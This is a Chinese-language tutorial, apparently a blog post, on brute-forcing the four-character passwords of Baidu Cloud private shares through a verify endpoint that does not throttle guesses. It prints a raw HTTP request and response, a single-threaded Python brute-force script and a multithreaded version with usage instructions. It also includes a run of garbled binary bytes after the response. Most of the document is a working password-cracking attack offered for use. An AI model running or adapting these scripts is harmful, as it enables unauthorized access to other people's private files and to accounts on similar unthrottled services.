0x01 原理

百度雲私密分享預設是4個字元的密碼，直接破解輸入幾次以後就需要驗證碼。在這篇文章中介紹了百度雲存在可以無限制破解密碼的介面。原理就是不斷用字典去測試存在漏洞的介面，如果密碼正確的話，就會直接set-cookie。

發包：

POST /share/verify?shareid=2411134184&uk=1279847105&t=1447290671171&channel=chunlei&clienttype=0&web=1 HTTP/1.1
Accept: */*
Referer: http://pan.baidu.com/share/verify?shareid=2411134184&uk=1279847105&t=1447290671171&channel=chunlei&clienttype=0&web=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pan.baidu.com
Content-Length: 8
Cache-Control: no-cache
Cookie: BAIDUID=7C656DB6FB750E5B8EFA7D0F522D20E6:FG=1; PANWEB=1; Hm_lvt_adf736c22cd6bcc36a1d27e5af30949e=1444112574; Hm_lvt_773fea2ac036979ebb5fcc768d8beb67=1444112574

pwd=26ms
 

如果密碼正確，就set-cookie

如果密碼不對，就不會set BDCLND的cookie值

HTTP/1.1 200 OK
Date: Thu, 12 Nov 2015 01:10:38 GMT
Content-Type: application/json; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
yld: 397079040441508773
X-Powered-By: PHP/5.4.24
Set-Cookie: BDCLND=9oT54bqhvp2AXC06i5UrIsA30BGIl%2Fzjpuex2cSH50c%3D; expires=Sat, 12-Dec-2015 01:10:38 GMT; path=/; domain=pan.baidu.com
Cache-Control: no-cache
Pragma: no-cache
yme: ZIGW/iYrV0kMaDwYTmvhrmlXvvkXVAb3oAhPyyc=
Server: nginx

3e
  

{"errno":0,"err_msg":"","request_id":7314608073451299749}
0

.....aA....V2..................7B}....A.&S..m.......................o../.......O.$..<..U.kB.a%...k.bN.j...D.X-5O\......................W.^../.N......A...................Q../.N......A.....................WVD.y.......[..S................WVD8........[..S................................................................................................s.... s..*i.........c\t4...G.g^
 
[email protected]\t4...G.g^..p.1

0x02 指令碼的編寫

單執行緒指令碼網站給出了

#!/usr/bin/env python
#coding:utf-8
__author__ = 'mtfly'

import requests
import string
import re
import sys


def main():
	url = "http://pan.baidu.com/share/link?shareid=2411134184&uk=1279847105"
	url = url.replace("link", "verify").replace("init", "verify")
	headers = {
	"Content-Type": "application/x-www-form-urlencoded"
	}
	payload = "26ms"
	f = open('dic.txt', "r")
	for payload in f.readlines():
		payload = payload.strip('\n')
		print payload
		payload = "pwd=" + payload
		res = requests.post(url=url, data=payload, headers=headers)
		a = res.headers["set-cookie"]
		if "BDCLND=" in a:
			print "OK"
			f = open("out.txt", "w+")
			f.write(payload)
			f.close
			exit()
	f.close()

main()
 

雖然只有四個字元，但是是有26個小寫字元加上10個數字組成的，生成的四個字元個數也有1679616個，單執行緒破解也還是慢，所以筆者自己重寫了一個多執行緒版本的，直接貼程式碼。

#/usr/bin/env python
#conding=utf8

__author__ = 'he1m4n6a'
__doc__ = 'brute baidu yunpan privacy share use multi threads'

import requests
import string
import re
import sys
import threading
from Queue import Queue

class Cframe:
    def __init__(self, url, f, thread_num):
        self.url = url
        self.f = f
        self.thread_num = thread_num

    def scan(self):
        queue = Queue()
        for i in xrange(self.thread_num):
            worker = BdThread(queue, self.url)
            worker.daemon = True
            worker.start()
        for line in self.f.readlines():
            queue.put(line.strip('\n'))

        queue.join()

class BdThread(threading.Thread):
    def __init__(self, queue, url):
        threading.Thread.__init__(self)
        self.queue = queue
        self.url = url
    def run(self):
        url = self.url.replace("link", "verify").replace("init", "verify")
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        while True:
            dic = self.queue.get()
            payload = "pwd=" + dic
            try:
                res = requests.post(url=url, data=payload, headers=headers)
                a = res.headers["set-cookie"]
                if "BDCLND=" in a:
                    fo = open('out.txt','w')
                    mlock = threading.Lock()
                    mlock.acquire()
                    print "[+]OK, password is %s" %dic
                    fo.write(payload)
                    mlock.release()
                    fo.close()
                else:
                    #mlock = threading.Lock()
                    #mlock.acquire()
                    #print '[-]%s' %dic
                    #mlock.release()
                    pass
            except Exception, e:
                #mlock = threading.Lock()
                #mlock.acquire()
                #print "[-]connect error"
                #mlock.release()
                pass
            self.queue.task_done() 

def main():
    if len(sys.argv) < 2:
        print '''usage:
    python multiBruteYP.py url thread_num'''         
        sys.exit()
    elif len(sys.argv) == 2:
        url = sys.argv[1]
        thread_num = 20
    else:
        url = sys.argv[1]
        thread_num = int(sys.argv[2])
    f = open('dic.txt','r')
    cf = Cframe(url, f, thread_num)
    cf.scan()
    f.close()

if __name__ == '__main__':
    main()

 指令碼下載

用法

python mutliBruteYP.py "http://pan.baidu.com/share/init?shareid=1111111111&uk=11111111111" 50

第一個引數是私密分享的連結

第二個引數是執行緒數，預設20執行緒

執行截圖

生成 dic.txt 字典，可以用筆者寫的genPass，一款生成字典的工具。根據終端輸入字串生成4字元字典

具體用法可以參考:

生成的字典下載

現漏洞估計已修復，畢竟見光死